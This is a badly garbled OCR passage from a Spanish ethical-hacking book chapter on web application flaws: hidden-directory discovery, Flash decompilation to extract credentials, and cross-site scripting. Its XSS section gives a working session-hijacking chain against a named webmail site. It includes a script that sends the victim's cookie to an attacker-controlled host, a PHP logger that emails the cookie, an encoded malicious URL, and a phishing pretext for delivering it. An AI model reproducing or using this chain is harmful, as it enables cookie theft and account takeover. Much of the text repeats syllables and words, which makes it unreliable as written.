5 > Aplic. Web Descui Des cuidos dos y vul vulner nerabi abilid lidade ades s má más s comu co mune nes s li liga gada das s a la las s ap apli lica caci cion ones es webs. web s. Pri Princi ncipal palmen mente, te, aqu aquell ellos os que nace na cen n de debi bido do a un una a de defi fici cien ente te programación, programac ión, implement implementación, ación, admi ad mini nist stra raci ción ón de del l se serv rvid idor or o bi bien en de del l contexto en el que se encuentra la apli ap lica caci ción ón. . Se ve verá rán n me meto todo dolo logí gías as de form fo rma a mu muy y cl clar ara, a, de deta tall lles es té técn cnic icos os, , herram her ramien ientas tas e imá imágen genes es int intere eresan santes tes. .
APLICACIONES ONLINE En una internet cada día más orientada a brindar servicios al visitante de sitios web, es de esperar que un gran número de éstos tengan aplicaciones corriendo. Muy lejos estamos de los estáticos sitios html con letras Times New Roman que había en los años 90. Estas aplicaciones web hicieron que el desarrollo de un sitio interactivo, con bases de datos y diversos scripts, ya no sea obra de un diseñador o un usuario común, sino de un programador con el soporte de un administrador o equipos de trabajo que participan en forma conjunta para su desarrollo y mantenimiento. Muchos de estos sitios tienen descuidos en programación y de administración, y no hablamos de blogs personales ni de aquellos sitios particulares en donde reina la estética (diseño a la vista) en un formato estático, sino de webs de organizaciones e instituciones que ya están, de alguna forma, en lo que es llamado Web 2.0 o red social. Si estos sitios están vulnerables, vulnerables, de algún modo exponen información información o dato datos. s. Como una de las metas del hacking ético es encontrar esas brechas antes de que un atacante real lo haga, en nuestra tarea como profesionales éticos la clave es buscar, interpretar, interpre tar, analizar, analizar, generar errores y revisa revisarr de modo intensivo, hasta hasta encont encontrar. rar. No todo lo encontrado puede ser explotable, pero podría ser una muy buena pista para dar con algo sensible, o bien, mejorar la seguridad. Veamos cuáles son algunos de estos descuidos genéricos y las técnicas de intrusión más comunes ligadas a ellos.
Directorio. Penetration Testing directory project
(www.penetration (www.penetr ationtests.c tests.com) om) es un reposi repositorio torio de direc direcciones ciones relacionadas al mercado del chequeo de la seguridad. 134
Directorios y archivos ocultos Un webmaster (sea programador, diseñador o administrador) encargado del sitio de la empresa puede dejar, aunque sea por unas noches, una carpeta en el host llamada backup ( www.sitioweb.com/backup ). Es muy probable que un intruso la encuentre rápido, ya sea con escáneres o por Google, o quizá sea vista por un empleado del lugar, algo que sucede bastante a menudo. Los directorios que no están disponibles para el público son de mucho interés para el intruso ya que allí puede existir un atajo o material sensible para lograr una intrusión,, o bien, conseguir trusión conseguir la meta (o parte) propuesta propuesta sobre el objetivo. objetivo. Esos directorios pueden encontrarse de varias formas: • A ciegas, con un escáner o script: un ejemplo es el de las herramientas que chequean los CGI files y paths (directorios) más comunes. Podemos ver una lista de estas utilidades en www.blackhat.be/cst/big.db. • Por lógica o deducción, alineando un escáner al objetivo o a mano: un simple script escrito en Perl que se encargue de leer una lista de palabras seleccionadas según el tipo de objeti objetivo vo para que, automá automáticam ticamente, ente, las vaya probando en el host y diga qué path es coincidente con la palabra allí presente (recordemos los tips del Capítu Capítulo lo 2 –Escan –Escaneo eo y fingerp fingerprinting rinting– – sobre vulnerability vulnerability scanning). scanning). • Siguiendo el mapeo del sitio o los links, e intentando encontrar browsing directory en alguno de los paths que existen. Hay utilidades que mapean el sitio o lo bajan completamente para que luego podamos analizarlo offline con tranquilidad y así ver la totalidad de los links y la estructu tru ctura ra mis misma ma del sit sitio, io, por eje ejempl mplo o We WebZI bZIP P (lo pod podem emos os enc encont ontrar rar en la dirección www.spidersoft.com/webzip/). Supongamos que el sitio tiene la aplicación instalada en www.sitioweb.com/clientes/stock/pedidos/carrito/commano,, trat tratarem aremos os de ver el cont contenid enido o de: pra. asp?id=61 . A mano • www.sitioweb.com/clientes/stock/pedidos/carrito/ • www.sitioweb.com/clientes/stock/pedidos/ CGI CGI ( Common Gateway Interface ) es una importante tecnología de la World Wide Web que per-
mite a un cliente (explorador web) solicitar datos de un programa ejecutado en un servidor web. CGI especifica un estándar para transferir datos entre el cliente y el programa. Es un mecanismo de comunicación entre el servidor web y una aplicación externa. Fuente: Wikipedia.
135
• www.sitioweb.com/clientes/stock/ • www.sitioweb.com/clientes/ Recordemos que, haciendo la petición http de estas diversas maneras, podemos llegar a obtener diferentes resultados: • • • • •
www.sitioweb.com/clientes/ www.sitioweb.com/clientes http://sitioweb.com/clientes/ http://sitioweb.com/clientes https://sitioweb.com/clientes
Además , tengam Además, tengamos os en cuenta que no es lo mismo poner un URL que dé erro errorr de sistema en Firefox 2.0 que en Internet Explorer 7.0, instalado por defecto. En el primero, se verá bien el error.
Mensaje. Error del gestor de databases mostrado a través del browser Firefox.
En cambio, en Internet Explorer sólo se verá el Status Code 500, correspondiente
Erro Er rore res s
de es esta tatu tus s
Los famosos Status Code Definitions números 404, 403, 200 que aparecen luego de nuestras peticiones http están declarados y detallado detalladoss en www.faqs.org/rfcs/rfc2616.html. Existen de cinco clases: los del rango 100 son informativos, informativos, los del 200 son peticiones exitosas, los del 300 son redirección, los del 400 son los de error del cliente y los del rango 500 son de errores del servidor.
136
según se gún el atribu atributo to que tenga tenga en los archi ar chivos vos o en el lengua len gua je que esté es té progra programa mado. do.
• A tra vés del con quienes toman toman el conte teni nido do de www.si www.sitio tio web web.com .com/ro /robots.txt: bots.txt: Hay quienes recau re caudo do de listar, listar, en el archi archi vo vo robots.txt, robots.txt, los paths y direc directo torios rios que no quiere quiere que Google Goo gle y otros busca buscado dores res inde indexen xen a su motor motor de búsque búsqueda. da. Sin embar embargo, go, no tietienen en cuenta cuenta que de esta esta mane manera ra le están están dando dando infor informa mación ción fácil fácil a un posi posible ble inintruso. tru so. • A tra vés de al algu guna na inde indexa xación ción del ti po po Google Google o alma almace cena namien miento to a modo modo de mirror mirror (es pe pejo), jo), caché caché o du pli plica cado do de sitio. sitio. • Des decir, si se puepueDesde de el sitio sitio de la em pre presa sa que desa desarro rrolló lló la aplica aplicación: ción: Es decir, de bajar bajar una demo demo o la aplica aplicación ción comple completa, ta, se puede puede insta instalar lar y anali analizar zar qué tipo tipo de direc directo torios rios y archi archi vos vos po posee see la aplica aplicación ción o cómo cómo puede puede explo explotár társe sela. la. Esta Esta prácti prác tica ca se suele suele deno denomi minar nar clo implica ca conse conseguir guir la misma misma clona nado do de contex contexto to e impli aplica apli cación ción e insta instalar larla la en el mismo mismo siste sistema ma opera operati ti vo vo para para ver cómo cómo es su admi admi-nistra nis tración, ción, sus paths y sus archi archi vos, vos, su esque es quema ma de segu seguri ridad dad (cómo (cómo se loguea loguea el admin, ad min, cómo cómo se guardan guardan sus pass words, cómo cómo y dónde dónde se actua actualiliza, za, cómo cómo se parparchea, archi archi vos vos por de defec fecto to en insta instala lación, ción, etcé etcéte tera). ra). Antes Antes de hacer hacer todo todo eso, concon viene vie ne leer el manual manual de usuario usuario o un datas datasheet heet de espe especi cifi fica cacio ciones nes técni técnicas, cas, ya que el intru intruso so hasta hasta puede puede tratar tratar de anali analizar zarla la en otro sitio sitio que utili utiliza za la misma misma apliaplicación, ca ción, pero pero con menos menos medi medidas das de segu seguri ridad dad de entor entorno no aplica aplicadas. das. Los archi archi vos vos en estos estos direc directo torios rios pueden pueden conte contener ner confi configu gura racio ciones, nes, backups backups de totodo tipo, tipo, scripts con las más di versas versas funcio funciones nes (upload.php o upload.asp upload.asp para para susubir archi archi vos vos al ser ver, entre entre otros). También Tam bién se lo llama llama Di cuando do se acce accede de direc directa ta-Direct rect Access Access o Di Direct rect Request Request cuan mente men te a un path o a un archi archi vo vo de d e la apli aplica cación ción inse insegu gura. ra. Muchas Muchas aplica aplicacio ciones nes de e-commer e-com merce ce tu vie vieron ron la falla falla de que, al llamar lla mar direc directa tamen mente te a su data databa base se de clienclientes, ésta ésta podía podía ser baja bajada da sin proble problemas. mas. En www pode- www.pac .packets ketstorm tormse secu curit rit y.org/U y.org/UNIX/c NIX/cgi-scan gi-scanners ners/Webr00t.pl /Webr00t.pl, pode mos encon encontrar trar una utili utilidad dad que busca busca secuen secuencial cialmen mente te direc directo torios rios y archi archi vos vos de sisitios y tiene tiene varios varios años (está (está escri escrita ta en Perl). Es útil para pa ra fami familia liari rizar zarse se con este este titi-
Archivos comprimidos Para los usuarios Para usua rios de Windows, Windows, 7-Zip es una aplica aplicación ción que permite mani ma nipu pular lar archi archivos vos compri compri-midos mi dos en muchas muchas exten extensio siones nes (gz, tar.gz, tar, zip, rar) y con mayor ma yor perfor performan mance ce que los compre com pre-www.7-zip.or p.org/es/ g/es/. sores so res y decom decompre preso sores res más usuales. usua les. El sitio sitio de esta esta aplica aplicación ción es www.7-zi
138
a un er erro rorr de si sist stem ema, a, al algo go qu quee no bri rin nda dem emas asia iad da inf nfo orm rmac ació ión n.
Interrne Inte nett Ex Expl plor orer er 7.0 no mu mueestr traa el erro rorr del ge gest stor or de da data taba basses. Po Pode dem mos acti ac tiva varl rlo o de desd sdee el me menú nú He Herra rramien mienta tas/Op s/Opcio ciones nes de Inter Internet net.. Una vez allí, en Op Opcio ciones nes avanza avan zadas das,, hay que destil des tildar dar la opción op ción Mos Mostrar trar mensa mensa jes de error HTTP descrip des cripti tivos vos.. Error.
•
Viéndolo Viéndo lo direc directa tamen mente te gracias gracias a browsing browsing direc directory: tory: browsing browsing direc directory tory es cuancuando pode podemos mos ver el conte conteni nido do de un direc directo torio rio onli online. ne. Es posi posible ble empe empezar zar con inindex of / y mostrar mostrar la lista lista de archi archi vos vos u otras carpe carpetas tas que pueden pueden tener tener dentro. dentro.
El direc directory tory brows browsin ing g habi bili lita tado do permi permite te ver el conte con teni nido do de los direc di recto torios, rios, tanto carpe tanto carpetas tas como como archi archivos vos y, por tanto, tan to, acce acceder der a ellos o a la infor in forma mación ción allí conte conteni nida, da, Paths.
137
po de herra herramien mientas tas de línea línea de coman comandos dos alta altamen mente te custo customi miza zables bles (adapta (adaptable ble tanto en funcio funciona namien miento to como como en lo que busca). busca). Una buena buena idea es ver si pode podemos mos mejo me jorar rarla, la, agregar agregarle le pala palabras bras rela relacio ciona nadas das con obje objetiti vo vo del titipo. po. Por ejemplo: ejemplo: /proyecttos/ /proyec /clienttes/ /clien /lista /lis taddos/ /pri vad vado/ /backkup/ /bac /geren /ge rentte/ /usuarrios/ /usua /viejjo/ /vie /borrrar/ /bo /ingre /in gresso/
/intra trannet/ /martin/ /data taba basses/ /archi vos/ vos/ /respal palddo/ /webmas mastter/ /admin/ /panel/ /mails/ /db/
/carlos/ /polilititiccas/ /datos/ /docu /do cumen menttos/ /ser vid vidor/ /planea neamien mientto/ /estra trate teggia/ /docs/ /grabar/ /secre cretto/
/eduardo/ /acce cesso/ /cuentas/ /data/ /inclu cluddes/ /gusta vo/ /confi fiden denccial/ /inter ternno/ /memos/ /copia/
/impor portan tante/ te/ /bkp/ /correos/ /juan/ /app/ /config/ /con fig/ /asp/ /web/ /source/ /nombre bread admin/ min/
¿Cómo la ejecu ¿Cómo ejecuta tamos mos en Windows? Windows? Muy fácil. fácil. Insta Instala lamos mos un intér intérpre prete te de Perl w.acti ti vesta ves tate. te. como co mo Acti Acti vePerl, vePerl, que podemos descargar desde la dirección ww w.ac com/sto com/s tore/ac re/acti ti ve ve perl perl/down /download/ load/. Allí basta basta con hacer hacer click en Conti Continue nue sin llenar lle nar los campos campos para para bajar bajar la versión versión que desee deseemos. mos. C:\Perl\bin \bin y ejecu Luego Lue go de insta instalar lar Perl, deja dejamos mos el escá escáner ner en C:\Perl ejecuta tamos mos CMD.e CMD.e-xe en Windows. Windows. Una vez que estamos en el prompt MS-DOS, nos movemos hashas ta ese path y lo ejecu eje cuta tamos mos de la siguien siguiente te mane manera: ra:
C:\ C: \Pe Per rl\ l\b bin in>p >per erl l Web ebr0 r00t 0t. .pl -h ww www w.w .we ebs bsit ite. e.c com -o re resu sul ltado.txt Ok here we go ... Host: Hos t: www www.we .websi bsite. te.com com Output Out put: : res result ultado ado.tx .txt t Ver Ve rbo bos se: OF OFF F Audio: OFF Inte In tera ract ctiv ive: e: OF OFF F Usin Us ing: g: Di Dire rect ctor ory y Di Disc scov over ery y StartDir: / Searching for directories ... 1 : / => 200 OK 2 : etc
Si desea deseamos mos algo algo mucho mucho más rápi rápido do y nue vo, pode podemos mos utili utilizar zar el módu módulo lo de AcuAcunetix ne tix (ww w.a w.acu cune netix tix.com). .com). Otra herra herramien mienta ta muy buena buena para para hacer hacerlo lo es nikto nikto 139
(www.cirt.net (www.cirt .net/co /code de/nik /nikto.shtml) to.shtml) o también también pode podemos mos progra programar mar un script propio. propio. Este Es te ejemplo ejemplo es para para aquellos aquellos que recién recién están están empe empezan zando. do.
Pantalla Panta lla de la shell en donde don de se testea testea Nikto Nikto 2.0 (sobre (so bre FreeBSD 5.5). Aquí se termi ter mina na de hacer hacer un chequeo chequeo de direc directo torios, rios, archi ar chivos vos CGI y otros sensi sen sibles bles de casi casi 3000 ítems en menos me nos de 7 minu minutos. tos. Nikto.
Inge In genie niería ría inver inversa sa sobre sobre Flash Como claro Como claro ejemplo ejemplo de inge ingenie niería ría in ver versa sa (desar (desarmar mar y anali analizar zar para para ver cómo cómo está está hecho he cho o cómo cómo funcio funciona), na), la lle va vare remos mos a cabo cabo sobre sobre una de las tecno tecnolo logías gías más utiutililiza zadas das en sitios sitios webs diná dinámi micos. cos. Un archivo de Adobe Flash es fácil fácil de descom descompi pilar lar si contamos con la herra herramien mien-ta adecua adecuada, da, y así vere veremos mos cómo cómo conse conseguir guir infor informa mación ción sensi sensible ble de un sitio sitio memeEscáner en línea Si quere queremos mos tener tener más alter alterna nati tivas, vas, pode podemos mos probar probar un escá escáner ner onli online ne de los links que contie contiene ne un sitio. sitio. Para Para eso, en www.el www.elsop sop.com .com/q /qui uick ck// en encon contra trare remos mos LinkScan LinkScan-/QuickCheck. /Quick Check. Además, podemos descargar una versión de prueba del programa.
140
diante esta diante esta técni técnica ca liga ligada da al infor informa mation tion gathe gathering. ring. Es muy común común que las orga organi ni-zacio za ciones nes e insti institu tucio ciones nes utili utilicen cen pelí pelícu culas las o partes partes de su sitio sitio en Flash, por ejemplo ejem plo en menús, menús, presen presenta tacio ciones, nes, formu formula larios, rios, acce accesos sos y links semies semiestá tátiticos. cos.
Clási sico co y arriesga arriesgado do acce acceso so de vali valida dación ción LoginID. Clá en Flash para para la compro comproba bación ción de usuario usuario y password. password.
Hay mucho mucho más que esté estétitica ca 3D o mó vil de detrás trás de esas anima animacio ciones. nes. Descom Descompi pi-lando lan do este este tipo tipo de archi archi vos vos de exten extensión sión .swf (appli (applica cation/x-shock tion/x-shock wa ve-flash comcompila pi lado do y compri comprimi mido) do) podemos encontrar datos como los siguientes: • Li Link nkss ocu oculltos • Casi sillas llas de correo correo • Usuarios • Cla ves • Archi vos vos ocultos • Direc Directo torios rios ocultos ocultos • Nombres • Varia riables bles • Comentarios de código con información personal • Otro titipo de infor informa mación ción rela relacio ciona nada da con el obje objetiti vo, vo, que nos pue puede llegar llegar a serser vir. Para estos Para estos dos ejemplos ejemplos que vere veremos mos a conti continua nuación, ción, usare usaremos mos SWF Decom Decom pi piler ler de la empre empresa sa Sot Este tipo tipo de soft ware ware se creó, en un princi principio, pio, para para vol ver ver las ani ani-Sothink hink . Este macio ma ciones nes (.swf) a un forma formato to edita editable ble (.fla). Pode Podemos mos testear testear el soft ware ware desde desde www. sot sothink hink.com .com/pro /product duct/flash /flashde decom com pi pile ler/in r/index.htm dex.htm. 141
Una vez insta instala lado do el progra programa, ma, entra entramos mos en la web que contie contiene ne la pelí pelícu cula la Flash que quere que remos mos descom descompi pilar lar y la guarda guardamos mos en Fire Firefox fox entran entrando do en el ítem del menú menú Ar Ar-luego en Guar chi vo vo y luego Guardar dar como... como...
Validando. El
archi ar chivo vo Flash hace hace la compro comproba bación ción de los datos datos intro introdu duci cidos dos y, si son inco incorrec rrectos, tos, nos devuel devuelve ve a la misma mis ma pági página na sin error o cartel car tel algu alguno. no.
Entonces, para continuar, abrimos abri mos el archi archi vo vo login.swf lo gin.swf que descar descarga gamos mos a nuesnuestra máqui máquina na con el SWF Decom De compi piler. ler.
142
Inversa. In Inter terfaz faz
gráfi grá fica ca del descom descompi pila lador. dor. Auto Automá máti tica camen mente, te, en el menú me nú de la dere derecha, cha, apare aparecen cen todas todas las seccio sec ciones nes del archi ar chivo vo ya descom descompi pila lado. do.
Lo que nos inte intere resa sa a noso nosotros tros es aquello aquello que se encuen encuentra tra en la sección sección Action, Action, ya que allí están están decla declara radas, das, en el códi código go fuente, fuente, las accio acciones nes que reali realiza za el archi archi vo vo Flash con la infor informa mación ción que se le brinda. brinda.
Source. El
códi có digo go fuente fuente de la pelí pe lícu cula la Flash del acce acceso so muestra muestra los links inter internos nos del sitio si tio con sus respec respecti tivas vas claves claves de acce acceso so y usuarios usuarios asigna asignados dos a cada cada una de las direc di reccio ciones. nes.
Lógica Lógi camen mente, te, no todos todos los archi archi vos vos .swf .swf entre entregan gan tanta tanta infor informa mación. ción. A veces, veces, suelen suelen dar links inter internos nos sola solamen mente, te, y está está en noso nosotros tros encon encontrar trarle le o sacar sacarle le pro ve vecho cho con: • Submits vía POST. ¿Qué es una cookie? cookie kie es infor Una coo informa mación ción que guarda guarda una pági página na en nuestro nuestro disco. disco. Así, cuando cuan do abrimos abrimos una sesesión de nuestra nuestra casi casilla lla de correo, correo, no tene tenemos mos que poner poner en cada cada pági página na nuestro nuestro usuario usuario y clave clave porque por que ya se encuen en cuentran tran en la cookie coo kie y el servi servidor dor los recu recupe pera ra en cada cada peti petición. ción. Si un intru in truso so roba ro ba nuestra nuestra cookie cookie y la usa rápi rápido, do, podría podría entrar entrar en nuestra nues tra casi casilla lla aun sin saber sa ber la password. password.
143
• Gene neran rando do errores. errores. • Haciendo ciendo compro comproba bacio ciones nes de datos datos de deter determi mina nadas das varia variables bles auto automa matitiza zadas das (compro (com proba bación ción de usuarios usuarios de siste sistema ma existen existentes, tes, por ejemplo). ejemplo). Intrusos Intru sos osados osados pueden pueden llegar llegar a hacer hacerse se pasar pasar por los dise diseña ñado dores res o admi adminis nistra trado do-res (sabien (sabiendo do ese tipo tipo de datos datos no públi públicos) cos) para para obte obtener ner cla ves FTP o Shell de sis sistema. te ma. Veamos Vea mos el segun segundo do ejemplo. ejemplo. Éste Éste es el códi código go fuente fuente de otro sitio sitio que, al decla declarar rar la función función identi identifi ficar carse(), se(), deja deja ver el link en donde don de se comprue comprueba ba ese login login (www(www. sitio sitio web web.co .com/a m/apli plica cacio cion/I n/Iden dentitifi ficar carse.php). se.php). Si las funcio funciones nes son varia variadas, das, nos dadará bastan bastantes tes URLs inter internos nos como como para para anali analizar, zar, entre entre otros datos. datos. —8< functi func tion on id iden enti tificarse() ficarse() { v ar i den = ne w L oad V ar s( ) ; iden. n.u usu = _root ot. .Us Usu uario io; ; iden id en.c .con on = _r _roo oot. t.Co Cont ntra rase seña ña; ; iden.sendAndLoad(“I iden.sendAndLoa d(“Ident dentific ificarse arse.php .php”, ”, iden iden, , “POS “POST”); T”); i den .on Lo a d = fun c ti on ( ) { i f (i den . Au to r iz a do == “ si” ) { i den .Au t o riz ado = “n o” ; _root.entrandojuego(); } else { _root.entradanovalida(); } // e nd i f };
Compra de exploits Oday Empresas Empre sas como como Tipping TippingPoint, Point, iDefen iDefense, se, Immu Immunity nity y Netra Netragard gard compran compran exploits exploits 0day a los propro grama gra mado dores res y los mantie man tienen nen en priva privado. do. Si nos inte intere resa sa desa desarro rrollar llar este este tipo tipo de progra programas, mas, Buffer Overflow Overflow Study - Attacks At tacks & Defen Defenses ses, In Intro troduc duction tion to Shellco Shellcode de - How podemos leer A Buffer to exploit exploit buffer buffer overflows overflows y Wri Writing ting Secu Security rity Tools and Exploits Exploits, entre otros libros.
144
} / / E nd o f th e f un ct io n —8<
Dejar de reco Dejar recomen mendar dar la utili utiliza zación ción de Flash por el riesgo riesgo de ser vícti víctima ma de este este titipo de análi análisis sis es muy extre extremo, mo, ya que existen existen solu solucio ciones, nes, como como Amaye Amayeta ta SWF Encrypt, para para miti mitigar gar el proble problema ma ( ww w.a w.ama ma ye yeta ta.com .com/soft /soft ware/sw ware/swfencrypt/ fencrypt/ ).
XSS O CROSS-SI CROSS-SITE TE SCRIPTING SCRIPTING Se deno denomi mina na XSS a la técni técnica ca que permi permite te inyec inyectar tar códi código go (tags) HTML o ja vas ja vas-cript, por ejemplo, ejemplo, en una aplica aplicación ción o siste sistema ma en el que no se esté es té correc correcta tamen mente te valilida va dado do para para poder poder así ejecu ejecutar tarse. se. Veamos Veamos un claro claro ejemplo ejemplo gráfi gráfico: co:
Aquí vemos vemos cómo cómo se ejecu ejecuta, ta, en nuestro nues tro explo explora rador dor Fire Firefox fox sin noScript, noS cript, la porción porción de códi código go “<script>a “<script>alert(“[XSS]”) pt>”” agr agreega gado do al URL del busca buscador dor del sitio sitio del diario diario Clarín. Clarín.
XSS.
Aunque el cartel Aunque cartel que se muestra muestra pare parece ce inofen inofensi si vo, vo, la técni técnica ca en sí no lo es. Lo que hici hi cimos mos fue sólo sólo una compro comproba bación ción de la vulne vulnera rabi bililidad dad del sitio sitio ante ante esta esta técni técnica, ca, que puede puede utili utilizar zarse se para para realizar actividades como: • Robar cookies cookies y, de ese modo, modo, sesio sesiones nes o lo equi valen valente te a entrar entrar en una casi casilla lla de HotHotmail, o cualquie cualquiera ra que utili utilice ce el meca mecanis nismo mo cookies cookies de sesión, sesión, sin cono conocer cer la cla ve. 145
• Usar Usar al vi visi sitan tante te como como proxy para para algún algún ataque ataque vía http remo remoto. to. • Robar nombres de usuarios usuarios y sus contra contrase señas ñas a tra vés de for formu mula larios rios dise diseña ñados dos espe es pecial cialmen mente te por el intru intruso. so. • Redi direc reccio cionar nar auto automá mátitica camen mente te o hacer hacer que el browser browser del visi visitan tante te reali realice ce algu algu-nos compor comporta tamien mientos tos que quiere quiere el intru intruso/e so/eje jecu cutor. tor. • Obte tener ner el pass word del ad admi minis nistra trador dor de foros foros y sitios sitios vulne vulnera rables. bles. • Realilizar zar phishing, phishing, fraudes fraudes onli online ne y esca escala ladas das en intru intrusio siones nes de alta alta comple complejijidad. dad. Veamos Vea mos ahora ahora un ejemplo ejemplo simple simple de session session hijac hijacking king (a tra vés de la extrac ex tracción ción de cookies, coo kies, esta estable blecer cer una sesión sesión en una casi casilla lla de correo correo como como si fuéra fuéramos mos la vícti vícti-ma). Este Este ejemplo ejemplo también también funcio funciona naba ba en Hotmail Hotmail hasta hasta que, hace hace unos meses, meses, la gente gen te de Micro Microsoft soft mudó mudó casi casi la tota totalilidad dad de las casi casillas llas a Windows Windows Li ve ve y ya no es posi po sible ble repro reprodu ducir cirlo lo como como antes. antes. Si bien se pueden pueden aún tomar tomar las cookies cookies de una sesión sesión en Hotmail Hotmail (MSN tiene tiene mumuchos sitios sitios vulne vulnera rables bles a XSS), en la actua actualilidad dad sólo sólo funcio funciona na en aquellas aquellas que no se han pasa pasado do a la nue va tecno tecnolo logía gía (casi (casillas llas Hotmail Hotmail abiertas abiertas hace hace muchos muchos años) con otros méto métodos dos de segu seguri ridad dad y compro comproba bacio ciones nes aplica aplicados. dos. ¿Qué nece necesi sita tamos mos para para el ejemplo? ejemplo? Supon Suponga gamos mos que deci decidi dimos mos compro comprobar bar la seguri gu ridad dad de una deter determi mina nada da casi casilla lla de ww w.ub w.ubbi bi.com, .com, que perte pertene nece ce a un geren gerente te de siste sistemas mas ya que esta estamos mos contra contrata tados dos en un proyec proyecto to de segu seguri ridad. dad. Un punto punto por compro com probar bar es ver de qué modo modo impac impacta ta la inge ingenie niería ría social social dentro dentro de la orga organi niza za-ción. Pre via viamen mente, te, detec detecta tamos mos que a la casi ca silla lla también también la utili utiliza za para para cuestio cuestiones nes de traba tra bajo jo para para no usar el e-mail inter in terno no de la empre empresa. sa.
Entonces, Enton ces, lo prime primero ro que nece necesi sita tamos mos es encon encontrar trar una vulne vulnera rabi bililidad dad XSS en el domi do minio nio del webmail, webmail, domi dominio nio que esta estará rá liga ligado do a la cookie cookie en cuestión. cuestión.
146
Doc.
Google hace poco sufrió la falla XSS. Miren el interesante detalle en: http://xs-sniper.com/blog/2008/04/14/google-xss/
Entramos Entra mos en el sitio sitio y vamos vamos proban probando, do, dentro dentro del domi dominio nio ubbi ubbi.com, .com, la ejecu ejecución ción de “>
<script>a t>alert(“[XSS]”) cript>”. Lo encon encontra tramos mos en el URL: http://secu http://se cure.ub re.ubbi bi.com .com/re /regis gistra tracion cion/Re /Recu cu pe pero ro _Pas _Pass.asp?srv=3”>alert(“[XSS]”) t>a lert(“[XSS]”) .
Compro proba bación ción XSS2. Com
de la vulne vulnera rabi bililidad dad XSS en el domi do minio nio en cuestión. cuestión.
Una vez compro comproba bada da la vulne vulnera rabi bililidad, dad, podemos continuar con el paso paso siguien siguien-Buscar XSS www.a w.acu cune netix tix.com .com/vul /vulne nera rabi bility-scan lity-scanner/ ner/ Hay una herra he rramien mienta ta gratui gratuita ta para para buscar XSS en ww vulne vul nera rabi bilitys lityscan canne ner5.e r5.exe xe y en ww www.a w.acu cune netix tix.com .com/vul /vulne nera rabi bility-scan lity-scanner/wvs ner/wvs5ma 5manual.pdf nual.pdf su manual. ma nual. Si quere que remos mos ahorrar ahorrar tiempo tiempo con auto automa mati tiza zacio ciones, nes, pode podemos mos hacer hacerlo, lo, pero pero se nos puepue de pasar pasar por alto al to algo algo impor importan tante. te. Recor Recorde demos mos que es más eficien efi ciente te buscar buscarlos los a mano. mano.
147
te. En un sitio sitio contro controla lado do por noso nosotros tros y que, vía PHP, pueda pue da en viar co correos rreos electró elec tróni nicos cos (para (para en viar viarnos nos la cookie cookie de la victi vic tima ma a Outlook Outlook y que cuando cuando llellegue éste éste nos dé un soni sonido do de aviso), aviso), tene tenemos mos que subir subir una carpe carpeta ta (en este este ejemplo llama llamada da harry) con los siguien si guientes tes archi archi vos: vos: Nombre: item.js Nombre Códi Có digo go fuente fuente: location.href=’http://www.susitio.com/harry/log.php?item=’+escape location.href=’http://www.susitio.com/harry/log.php?item=’+esca pe (document.cookie)
Nombre: log.php Nombre Códi Có digo go fuente fuente: $co coo oki kie e = $_ $_GE GET[ T[‘i ‘it tem em’ ’]; $ip = getenv(“REMOTE_ADDR”); $Time = date(“l dS of F Y h:i:s A”);
$msg = “Cookie: $cookie\nDireccion IP: $ip\Time: $Ti Tim me”; $subject = “cookie”; mail(“ mai l(“don dondede-lle llegaga-lala-coo cookie kie@gm @gmail ail.co .com”, m”, $su $subje bject, ct, $msg $msg); ); header (“l header (“loca ocatio tion: n: htt http:/ p://ww /www.u w.ubbi bbi.co .com/s m/sms/ ms/bas bases_ es_harr harry.a y.asp” sp”); ); ?>
Una vez que esté esté la carpe carpeta ta con los archi archi vos vos allí allí,, vamos vamos a prepa preparar rar el URL para para pasar pasar-le a la vícti víctima ma (con el pretex pretexto to de que es un concur concurso so para para su sobri sobrini nito to faná fanátitico co de Harry Potter) Potter) a su correo correo ubbi ubbi.com. .com. Cuando Cuando se haga haga clic en esa URL, ocurri ocurrirá rá lo sisiguiente: guien te: • Vía e-m e-mail ail se nos nos en en via viará rá la cookie cookie de sesión sesión con la direc dirección ción IP, fecha fecha y hora. hora. • Acto se segui guido, do, se lo redi rediri rigi girá rá auto automá mátitica camen mente te a la pági página na que le pedi pedimos mos que entre. entre. El URL por en viar queda quedará rá así: http://secu http://se cure.ub re.ubbi bi.com .com/re /regis gistra tracion cion/Re /Recu cu pe pero ro _Pas _Pass.asp?srv=3”><script cript src=http://www.si src=http://www .sitio tiodeuds deuds.com .com/harr /harr y/item.js>” y/item.js>”
Para Pa ra que la supues supuesta ta vícti víctima ma no sospe sospeche che del sitio sitio raro, raro, vamos vamos a codi codifi ficar carlo lo un popo148
co con morf v0.3. El resul re sulta tado do es el siguien siguiente: te: http ://secu http://se cure.ub re.ubbi bi.com .com/re /regis gistra tracion/%52%65%63%75%70%65%72% cion/%52%65%63%75%70%65%72% 6F%5F%50%61%73%73%2E%61%73%70%3F%73%72%76% 3D%33%22%3E%3C %73%63%72%69%70%74%20%73%72% 6 3 % 3 D % 6 8 % 7 4 % 7 4 % 7 0 % 3 A % 2 F% F%2F%77%77%77%2E%73%69% 74%69%6F%64%65%75%64%73%2E%63%6F%6D%2F%68%61% 72%72%79%2F%69%74%65%6D%2E%6A%73%3E%22 72%72%79%2F %69%74%65%6D%2E%6A%73%3E%22
A es este te (burdo) (burdo) URL de ejemplo, ejemplo, lo inclui incluimos mos en un e-mail confec confeccio ciona nado do en HTML y se lo en via viamos mos a su casi casilla lla de www.ubbi www.ubbi.com. .com. A lo su sumo, mo, la vícti víctima ma pensa pensará rá que es un enga engaño ño del tipo tipo phishing, phishing, pero pero la cookie cookie nos será será en via viada da vía e-mail al dar tan solo so lo un click .
No es lo mismo Exploits ploits Hotmail Hotmail o cosas Hay muchos muchos sitios sitios que hablan hablan de Ex cosas simi simila lares, res, pero pero nada nada más ale ja jado do de estos estos exploits exploits de los que habla hablamos mos aquí. Esos sitios sitios son, simple simplemen mente, te, plaplaphishing hing que se aprove tafor ta formas mas de phis aprovechan chan de la igno ignoran rancia cia de las perso personas nas para para robar robar-le sus passwords passwords y su dine dinero. ro.
149
Aquí está está la imagen imagen del archi archivo vo en HTML linkea linkeado do (y edita editado) do) al URL prepa prepara rado do con XSS para para extraer extraerle le la cookie cookie de sesión. sesión. Ubbi.
